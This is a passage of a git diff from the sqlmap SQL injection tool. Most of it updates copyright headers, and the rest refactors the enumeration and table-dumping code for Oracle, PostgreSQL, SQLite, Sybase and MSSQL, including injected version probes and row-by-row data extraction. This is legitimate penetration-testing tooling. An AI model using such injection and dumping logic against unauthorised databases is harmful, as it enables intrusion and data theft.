import isAdminFromPrivileges from lib.core.common import isInferenceAvailable @@ -51,7 +50,7 @@ def getRoles(self, query2=False): condition = rootQuery.inband.condition if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) @@ -68,7 +67,7 @@ def getRoles(self, query2=False): user = None roles = set() - for count in xrange(0, len(value)): + for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] @@ -87,7 +86,7 @@ def getRoles(self, query2=False): if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct: if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') else: if not len(kb.data.cachedUsers): users = self.getUsers() diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index a4678d9aa28..aeb3a57f908 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 0d6365329b1..2d4f46369f1 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -58,7 +58,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() @@ -104,7 +104,7 @@ def checkDbms(self): # Reference: https://en.wikipedia.org/wiki/Oracle_Database for version in ("12c", "11g", "10g", "9i", "8i"): - number = int(re.search("([\d]+)", version).group(1)) + number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 2a2419f91e0..bb442759deb 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 7258cb9f93f..b5b381c6227 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 4386624b9f6..bc24a57c2f8 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 8eb9c283c22..e480d17dc5f 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: @@ -10,7 +10,7 @@ import psycopg2.extensions psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) -except ImportError: +except: pass from lib.core.data import logger diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 220e80238d2..a5754895d42 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index a8a559cad92..46c3611be4d 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 0dd45aa16b5..61c0d6efd1b 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -63,7 +63,7 @@ def checkDbms(self): * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) """ - if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or (conf.dbms or "").lower() in PGSQL_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index 07d972fd803..13129c9e2d7 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 5090f4f9dcf..10b52a56c12 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 61cd955ceeb..5f7e7922a8f 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index dcb21072af1..ae2722a9aed 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import sqlite3 -except ImportError: +except: pass import logging diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index a9d8295e958..f77f6feee5c 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 55352b5bed2..68937c506fd 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index d262fbe21af..109c7d6b399 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -64,7 +64,7 @@ def checkDbms(self): * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ - if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 8728c7b62bb..611d9b6607b 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import binascii diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 30ab0c4d03e..a4c89146e4f 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index a315df1083b..43ee7b166aa 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 6439a468e87..fe1cec52f85 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,14 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql -except ImportError: +except: pass import logging diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index f0bb7bce6de..a55d31a2e34 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import isTechniqueAvailable from lib.core.common import randomStr @@ -25,8 +24,8 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable -from lib.techniques.brute.use import columnExists from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): @@ -125,7 +124,7 @@ def getTables(self, bruteForce=None): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() @@ -185,7 +184,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - colList = conf.col.split(",") + colList = conf.col.split(',') else: colList = [] @@ -196,7 +195,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() @@ -241,11 +240,11 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " - test = readInput(message, default="Y" if "Y" in message else "N") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 1cd407e0004..59629a3ca52 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index cd9ff8cb709..a8d707d0fac 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -58,9 +58,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ - or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ - Backend.getVersion().isdigit(): + if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 3e1d10ac275..e83c65ed2ea 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 90c4d7270ee..73a17bd9f48 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index e925752eb56..3676f570724 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -22,8 +22,8 @@ def __init__(self): self.cursor = None def initConnection(self): - self.user = conf.dbmsUser - self.password = conf.dbmsPass if conf.dbmsPass is not None else "" + self.user = conf.dbmsUser or "" + self.password = conf.dbmsPass or "" self.hostname = conf.hostname self.port = conf.port self.db = conf.dbmsDb diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 46af08009f4..b314410db3a 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -51,7 +51,7 @@ def sqlQuery(self, query): return output elif not isStackingAvailable() and not conf.direct: - warnMsg = "execution of custom SQL queries is only " + warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" logger.warn(warnMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 18eb168e7ab..36c00b4f226 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent @@ -42,9 +42,9 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.request import inject -from lib.techniques.brute.use import columnExists -from lib.techniques.brute.use import tableExists from lib.techniques.union.use import unionUse +from lib.utils.brute import columnExists +from lib.utils.brute import tableExists class Databases: """ @@ -215,7 +215,7 @@ def getTables(self, bruteForce=None): conf.db = conf.db.upper() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() @@ -243,11 +243,11 @@ def getTables(self, bruteForce=None): return kb.data.cachedTables message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) @@ -269,9 +269,9 @@ def getTables(self, bruteForce=None): if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) - query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) else: - query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) @@ -422,7 +422,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() @@ -486,11 +486,11 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) @@ -534,7 +534,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = rootQuery.inband.query % tbl + query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) if dumpMode and colList: values = [(_,) for _ in colList] @@ -564,7 +564,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod index, values = 1, [] while True: - query = rootQuery.inband.query2 % (conf.db, tbl, index) + query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": @@ -663,15 +663,15 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.count % (tbl) + query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) query += condQuery elif Backend.isDbms(DBMS.INFORMIX): - query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl) + query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery elif Backend.isDbms(DBMS.SQLITE): - query = rootQuery.blind.query % tbl + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns @@ -694,7 +694,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: - query = rootQuery.blind.query3 % (conf.db, tbl, index) + query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break @@ -723,11 +723,11 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (tbl) + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) query += condQuery field = None elif Backend.isDbms(DBMS.INFORMIX): - query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, tbl) + query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery field = condition @@ -761,9 +761,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query2 % (tbl, column) + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): - query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl, column) + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) @@ -883,7 +883,7 @@ def getCount(self): self.forceDbmsEnum() if conf.tbl: - for table in conf.tbl.split(","): + for table in conf.tbl.split(','): self._tableGetCount(conf.db, table) else: self.getTables() diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 21d2f6a55fd..66a2eb2b56a 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -43,7 +43,6 @@ from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable -from lib.utils.pivotdumptable import whereQuery class Entries: """ @@ -80,7 +79,7 @@ def dumpTable(self, foundData=None): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() @@ -171,18 +170,44 @@ def dumpTable(self, foundData=None): if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) - try: - retVal = pivotDumpTable(table, colList, blind=False) - except KeyboardInterrupt: - retVal = None - kb.dumpKeyboardInterrupt = True - clearConsoleLine() - warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) - - if retVal: - entries, _ = retVal - entries = zip(*[entries[colName] for colName in colList]) + if Backend.isDbms(DBMS.MSSQL): + query = rootQuery.blind.count % table + query = agent.whereQuery(query) + + count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if isNumPosStrValue(count): + try: + indexRange = getLimitRange(count, plusOne=True) + + for index in indexRange: + row = [] + for column in colList: + query = rootQuery.blind.query3 % (column, column, table, index) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=False, time=False, dump=True) or "" + row.append(value) + + entries.append(row) + + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warn(warnMsg) + + if not entries and not kb.dumpKeyboardInterrupt: + try: + retVal = pivotDumpTable(table, colList, blind=False) + except KeyboardInterrupt: + retVal = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warn(warnMsg) + + if retVal: + entries, _ = retVal + entries = zip(*[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): @@ -190,10 +215,17 @@ def dumpTable(self, foundData=None): else: query = rootQuery.inband.query % (colString, conf.db, tbl) - query = whereQuery(query) + query = agent.whereQuery(query) - if not entries and query: - entries = inject.getValue(query, blind=False, time=False, dump=True) + if not entries and query and not kb.dumpKeyboardInterrupt: + try: + entries = inject.getValue(query, blind=False, time=False, dump=True) + except KeyboardInterrupt: + entries = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warn(warnMsg) if not isNoneValue(entries): if isinstance(entries, basestring): @@ -244,7 +276,7 @@ def dumpTable(self, foundData=None): else: query = rootQuery.blind.count % (conf.db, tbl) - query = whereQuery(query) + query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -271,25 +303,54 @@ def dumpTable(self, foundData=None): continue - elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): 